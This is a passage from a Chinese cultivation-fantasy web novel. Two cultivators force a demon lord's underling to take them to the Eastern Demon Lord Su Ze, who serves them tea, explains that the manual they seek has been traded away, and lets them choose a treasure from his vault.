或许是她穿越之后,和李烟萝的记忆融合的缘故罢,李长缨定了定心神,将这些念头从心间拂去。
奚不言很快回复:“我亦如此觉得,暂且按兵不动罢,先看看他还有什么花招。”
绝念君领着二人走向第二条岔路:“第二重,炼狱桥。”
所谓的桥,实则是一条横跨熔岩的锁链,下方岩浆翻滚,热浪扑面而来。
“此桥考验定力,”他一板一眼道,“不可使用灵力,只能凭肉身走过。”
他侧身让开,示意二人上桥。
李长缨嘴角抽了抽,心道这不是纯刁难人么,面见魔尊,还得上刀山下火海不成?
见二人没有动作,他催促道:“魔尊大人早已在等候二位,二位还是快些动身为宜。”
奚不言声音玩味:“既然早已等候,缘何不让我们直接面见魔尊,反倒出这重重考验,百般阻拦。阁下究竟意欲何为?”
绝念君不卑不亢道:“一切都是大人的意思。二位有何疑问,不妨等见到大人,再问个明白。”
“等见到大人?”李长缨嗤笑一声,索性直接挑破,“依我看,等不到见到你家那位大人,我们已经葬身熔岩之中。”
“姑娘这是什么话,”他面无表情,一字一句重复着,“一切都是大人的意思。”
与奚不言对视一眼,她手腕一旋,星澜出鞘,直指绝念君咽喉:“收起你的这些把戏,否则——休怪我不客气。”
后退半步,绝念君喉结动了动,平静道:“姑娘就算杀了我也无用。难不成,你以为靠威胁我等蚍蜉的命,能让大人回心转意?更何况……姑娘莫不是
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忘了,我乃大人座下四大副手之一,修为岂会在你之下?”
“是么,”李长缨唇角一勾,剑锋未偏离分毫,“可我碰巧知道,你是四大副手中最弱的那位,修为不过炼体后期,哪来的自信敢说这话?而我,把你踢下去喂岩浆的修为,还是有的。”
魔修的炼体后期,相当于修仙者的筑基后期。在金丹初期的修士面前,可谓毫无一战之力。
“看来姑娘是认定我不敌了,”他耸耸肩,一脸死猪不怕开水烫的架势,“姑娘大可以试试,杀了我,魔尊会不会放过你……”
“绝念君,本名商俦,魔域东境人,出身四大魔修世家之一的商氏,受家族托举,得以成为魔尊心腹之一。饶是如此,平日做的依然是些边角任务,”奚不言温声开口,笑意清浅,“商公子,我说的对么?”
绝念君脸色倏变:“你、你怎会知晓?”
定是有谁在背后偷嚼他的舌根,才让这两个灵修能知道这么多情况。
李长缨保持举剑的姿势:“随便打听便可知晓,商公子,你不会真以为自己在魔尊心目中,很重要吧?若我此刻杀了你,说不定是为魔尊除了一心腹大患。”
早在比武招亲开始前,二人就注意到主席之上穿着怪异的魔修,稍微询问一下身边的吃瓜群众,便轻松获得了这人的生平信息。
想来是素日仗着魔尊威严,作威作福惯了,成功激起民愤。
绝念君不说话了。
他的确是这么以为的。自己的家族商氏,在魔域威望颇高。扶持魔尊上位时,更是出了不少力,因此他敢笃定,就算刁难一下这两位灵修,魔尊也不会拿他怎样。毕竟东西大陆互相仇视的风气久矣,他不过是顺势而为。
“这所谓的三重考验,大概也只是你的自作主张,”她继续分析,“自以为教训一下我们这两个外来者,能方便你在魔尊面前邀功?”
“你……”绝念君一噎,本想挣扎几句,感受到剑尖朝前压了压,彻底放弃了,“对,除了洗尘廊,其他的都是我的安排。”
他猛地抬起头,眼中恶意浓得如有实质:“两条从东大陆来的走狗,有什么资格面见大人!”
“走狗?”李长缨蹙眉,暗道自己身为八大宗门弟子的身份,莫不是被他认出来了。
他冷哼一声:“怎么,我骂错了?你们拼命汲取天地精华,掠夺资源法宝,完了还回头踩一脚我们魔修,不是‘走狗’是什么?呸,不要脸的东西。”
原来只是无差别扫射,用词还有那么点不准确。
她稍微放下心来,无视他的愤怒,转头询问奚不言:“怎么处理?”
奚不言折扇一展,和煦道:“带我们去见魔尊,可以考虑……放你一命。”
绝念君岿然不动,李长缨毫不意外,剑尖再次下压,刺破黑袍,丝丝鲜血渗出,染深衣襟。
他浑身一抖,不情不愿地从袖中取出一块令牌,上面刻着“绝念君”三个大字。估计是魔尊赐给四位副手,作传送联络用的法器。
向令牌注入些许魔气,顷刻间,天地倒转。
炼狱场景如潮水般退去,李长缨感觉自己似乎穿过了很多东西,灼热感逐渐减弱,取而代之的,是花香和木头香。再次睁开眼时,自己正置身于一间朴素的书房。
“恭喜二位通过考验,”绝念君闷闷道,躬身后退,“大人就在里面,请吧。”
她整了整衣衫,和奚不言一道推开书房内室的门。
想象中的阴森大殿并未出现,反倒是一间阳光明媚的小庭院,院中栽种着几颗梅树,树下石桌旁,坐着个白衣书生,指尖徐徐翻阅着书卷。
书生抬头,露出一张平平无奇的脸,唯一双眼眸深沉如墨。他合上书卷,微笑道:“天极宗李长缨,杏林门奚不言,久等了。”
45. 魔尊
李长缨倒没太惊讶,轻喟一声:“看来魔尊大人知道我们的身份了。”
白衣书生唇角弧度渐深:“自然,你们二位在魔域也算出名,我怎会不知?可惜我那个没用的手下,竟没认出你们……”扫了眼门口方向,他悠悠道:“怪他自己有眼无珠,二位还请见谅。”
“大人这话说的,未免太过客气,”奚不言上前一步,眉眼清朗,略微俯身一礼,“苏大人,又见面了。”
被称为“苏大人”的,自然是眼前这位一副书生打扮的男子——东境魔尊苏泽。
苏泽挑眉:“难为奚圣手还记得我。坐吧,尝尝我新烹的‘忘忧茶’。”
“你们认识?”李长缨忍不住悄悄传音问。
奚不言很快回复:“从前医治过他的道侣。”
她一怔:“他的道侣……你能治疗魔修?”
按理说,灵气与魔气不互通,引灵气修炼的医修是无法治疗魔修的。
“苏泽的道侣,是琴修江揽月。”他淡淡道。
李长缨顿了顿,一脸平静:“……哦。”
见她对这个名字没有特别反应,他补充一句:“江揽月是天音仙子的胞妹。”
天音仙子?那位琼华宫的掌门?
她心里一惊,顿时回想起来,从前在船上,船长梁渊似乎提过一嘴。
身为极乐宫座下仙府掌门的妹妹,居然是魔尊的道侣?好复杂的关系……换句话说,极乐宫和魔域还有姻亲关系?
仿佛知道她在想什么,奚不言肃声道:“江揽月几年前因魔气侵体,灵台尽毁而亡。因此,天音仙子对苏泽恨之入骨,双方关系并不好。”
她蹙眉:“魔气侵体竟会导致灵台尽毁?”
奚不言沉吟:“此事有些复杂,江揽月是先天灵体。”
先天灵体之人,体内自带灵气,无需刻意吸收,就能缓慢增长修为,是修炼的绝佳体质。这种体质的人,往往一出生便是炼气期,修炼速度比常人快上许多。
但凡事有利也有弊,先天灵体对灵气越是渴求,对魔气越是排斥。寻常修士遭魔气侵体,顶多修为停滞或是倒退,而先天灵体者,却会爆体而亡。
江揽月若是一辈子呆在东大陆,就不会有什么事,甚至还能轻而易举成为琴修中的佼佼者。只是……她的道侣偏偏是魔修,那她也不可避免要频繁同魔气打交道,爆体而亡的概率大大增加。
苏泽歪着头上下打量二人,语调拖长:“我说二位——你们当着我面,讨论我和我的道侣,是不是有些不礼貌?”
李长缨:“……!”
糟糕,她忘了眼前这人好歹是魔域一方主宰,修为必然高出她不少,估计比奚不言的也高,他们这看似私底下用传音的议论,实则与当人面指指点点无异。
甚至在两人谈论过程中,她面部表情挺生动,在想什么一看便知……
“是我们唐突了,还请大人见谅。”她立刻抱拳,认错速度极快。
苏泽似笑非笑地盯着她:“无妨,我并非小肚鸡肠之人。况且你们的话,也不算错。”
话虽如此,到底是他们窃议在先,总归是对不住人家的。更何况,他们一路上听过太多关于东境魔尊性情暴虐、手段狠辣的传言,如今对方虽笑吟吟的,指不定心头想把他们如何大卸八块。
定了定心神,李长缨试探道:“苏大人,我们此番前来……”
反正都已经得罪了人,不如趁机提出要求,一笔两清,早走早安全。
他抬手,止住她的未尽之语,眉梢一挑,温声道:“先坐。”
身在人家地盘,该低头时就低头。
两人迅速分坐石桌两侧,苏泽斟茶三杯,晃了晃手中白瓷杯,慢条斯理道:“这忘忧茶的精髓,不在茶,而在水。”
她不解:“水?”
苏泽颔首,递给她一杯:“要想烹一壶忘忧茶,唯有用忘川之水,方得其中滋味。尝尝?”
李长缨扯了下唇,看上去明显不信。
忘川位于冥界,奈何桥下,黄泉路旁。几千年前鬼门大开,修士们拼尽全力封印,才控制住万鬼之乱,使冥界与人间重新相互隔绝,无人能自由出入两界。
这东境魔尊口中所称的“忘川”,怎可能是冥界那条?
难道魔域的功法进步神速,已经有了这等神通?
她斟酌道:“苏大人……能进入冥界?”
对上她怀疑的目光,苏泽轻嗤一声,懒洋洋道:“骗你的,我还没那么大能耐。不过嘛……”手指轻点唇畔,他意有所指:“进入冥界,一直是我的目标。”
李长缨接过茶杯,茶香四溢,沁人心脾。她鼓起勇气,再次道:“我们此番前来,是想恳请大人,赐《心渊录》一观。”
苏泽并不意外:“你既赢得比武,按规矩,我是该让你在我宝库中,任选一件法宝。”话锋一转,他摇头叹息:“可惜,《心渊录》已不在我手上。”
“什么?!”
这句话像一盆凉水,浇在李长缨头上,脑海中“嗡”的一声,一片空白。
《心渊录》若不在这里,那她应当去何处寻?她还有机会见到它吗?莫非又是那个“宿尘”搞的鬼?
“半年前,谢拾柒以蛟龙族炼制的万年血珊瑚,换走了它,”他啜了口茶,看着两人一脸复杂神色,唇角勾了勾,“别担心,你们既然赢得比武,我自不会让你们空手而归。”
谢拾柒……是那位教唆苍溟把他们拉入归墟秘境的,西境魔尊。
她眸色一沉,心道为何这里也有他的手笔,难道他和宿尘有关系?或者说,他就是宿尘?
无视对面的欲言又止,苏泽起身,素白长袍在风中轻扬,看起来更像个赶考的书生,而非威震八方的东境之主。
李长缨和奚不言对视一眼,只得跟上。
他大步走向庭院角落的一口古井,井沿苔痕斑驳,看起来干涸多年。
“跟紧。”说罢,他头也不回地纵身跃入井中。
探头望去,井下不知何时出现了一道螺旋向下的石梯。她轻吸一口气,紧随其后。
“想不到魔尊的宝库,竟藏于井下。”李长缨在心头嘀咕。
“那倒也不是,”前方传来苏泽轻快的声音,“它在哪,取决于我想它在哪。这几日,我对跳井有些兴趣,索性让它化作一口井,以备我练习之需。”
喜欢跳井……还要勤加练习?不愧是魔尊,连爱好都异于常人。
李长缨摇摇头,猛然意识到不对:“你怎知我在想什么?”
“是啊,”他歪头,拖着尾音思考了下,“你想知道为什
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么吗?”
她转头求助地望着奚不言,用口型说“为什么”。
奚不言步子一顿,传音道:“大抵是表情出卖了你,毕竟高阶修士的察言观色之力,超乎想象。”
不知走了多久,前面豁然开朗。
一个巨大的洞窟出现在眼前,穹顶镶嵌着无数夜明珠,将整个空间照得亮如白昼。数十排乌木架子立在中央,堆满各色法器,典籍和奇珍异宝。
“东面是攻击类法器,西面是防御法宝,南面收藏各类奇物,北面则是功法秘籍,”苏泽负手而立,懒洋洋道,“一炷香时间,任君挑选。”
李长缨在心中默默盘算,自己已有奚不言相赠的保命发带,星澜剑作为本命剑,也无需更换……
思忖片刻,她有了决断,抬脚走向南面木架。
乌木架上摆着各式各样古怪物件,会说话的铜镜,永远倒不完的酒壶,能预测天气的旗帜……一件件看去,她眼花缭乱,一时拿不定主意。
“若我是你,”苏泽慢悠悠走来,“我会选择它……”
他抬手取下最上层的一方木匣。匣中是一枚墨绿色剑穗,系有青玉平安扣,莲纹双吊。或许是久不见天日的缘故,显得有些暗沉。
她抬眸:“这是……?”
“此物名唤‘锁春’,可温养魂魄,”苏泽捻起剑穗,放在她掌心,眼中有暗光划过,“最适宜元魂残缺之人。”
剑穗一触及掌心肌肤,立刻泛起幽幽绿光,一股暖流涌入经脉,如清风拂面。李长缨睫羽轻颤,双眼微微睁大:“你……看得出来?”
“当然,在我等境界的人眼中,你的神魂情况,一看便知,”他嗤了声,挑了挑眉,“要我说,你恶魂如此强势,倒不如改入魔道,成为一名魔修,修为定会突飞猛进——至少比你现在的境界,高出许多。”
他的话语仿佛带着某种诱惑:“怎么样?考虑一下?”
这番话不无道理,她卡在金丹初期许久了,再不突破,日后若真揪出分裂她魂魄、让她穿进李烟萝体内的幕后之人,凭这不算太高的境界,又能如何报仇。
她敛眸,退后半步,轻声道:“苏大人的好意心领了,只是此事事关重大,我还不能轻下结论。”
对于她的回答,苏泽早有预料,不甚在意地点点头,看向另一侧:“奚圣手,你不选一件么?”
奚不言环顾四周,目光在北面典籍架上停留片刻,最终摇头:“我所需之物,不在此处。”
苏泽轻笑:“说的也是。”他忽然拍手:“罢了,既然宝库中没有你们想要的《心渊录》,我倒有个提议。”
李长缨警觉地抬头:“什么提议?”
“《心渊录》虽不在我手中,但我也并非全无办法,”他踱步至一架箜篌旁,随手拨动琴弦,“若你们能为我办成一件事,我可修书一封,让谢拾柒借《心渊录》一观。”
琴音在洞窟中回荡,震得几件法器嗡嗡作响。李长缨感觉到周身魔气随之波动,下意识看向奚不言,果然见他面色一白,想必是受魔气侵扰,灵力反噬。
“哦,抱歉,”苏泽收起抚琴的手,语气有些欠,“忘了你是个灵修了。”话音未落,他转头看着李长缨,眨眨眼:“你看,你就没受影响,不愧是个做魔修的好料子。真的不再考虑一下吗?”